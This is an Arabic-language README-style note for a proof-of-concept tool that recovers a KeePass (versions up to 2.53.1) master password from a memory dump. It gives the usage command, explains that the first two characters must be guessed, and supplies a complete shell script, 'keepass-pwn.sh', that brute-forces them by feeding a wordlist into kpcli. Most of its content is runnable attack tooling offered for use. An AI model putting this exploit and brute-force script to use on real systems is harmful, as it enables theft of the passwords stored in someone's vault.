
استرجاع كلمة المرور الرئيسية لقاعدة بيانات keepass <= 2.53.1
python3 poc.py <PathToDmp>

كتذكير، لا يمكن العثور على الحرف الأول في التفريغ، وبالنسبة للحرف الثاني سيمنحك البرنامج النصي بضع احتمالات فقط، على أي حال نوصيك بتشغيل القوة الغاشمة على حرفين باستخدام البرنامج النصي أدناه
#!/bin/sh
# Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt (wordlist with 2 char)
while read i
do
echo "Using password: \"$i\""
echo "$i" | kpcli --kdb=$1 && exit 0
done < $2
هذا البرنامج النصي يعمل بشكل جيد جداً في حالة الأجهزة المادية، أما بالنسبة للأجهزة الافتراضية فلا يبدو مستقراً
بالمناسبة: البرنامج النصي بلغة بايثون الموجود في هذا المشروع يتبع قراءة المشروع التالي: https://github.com/vdohney/keepass-password-dumper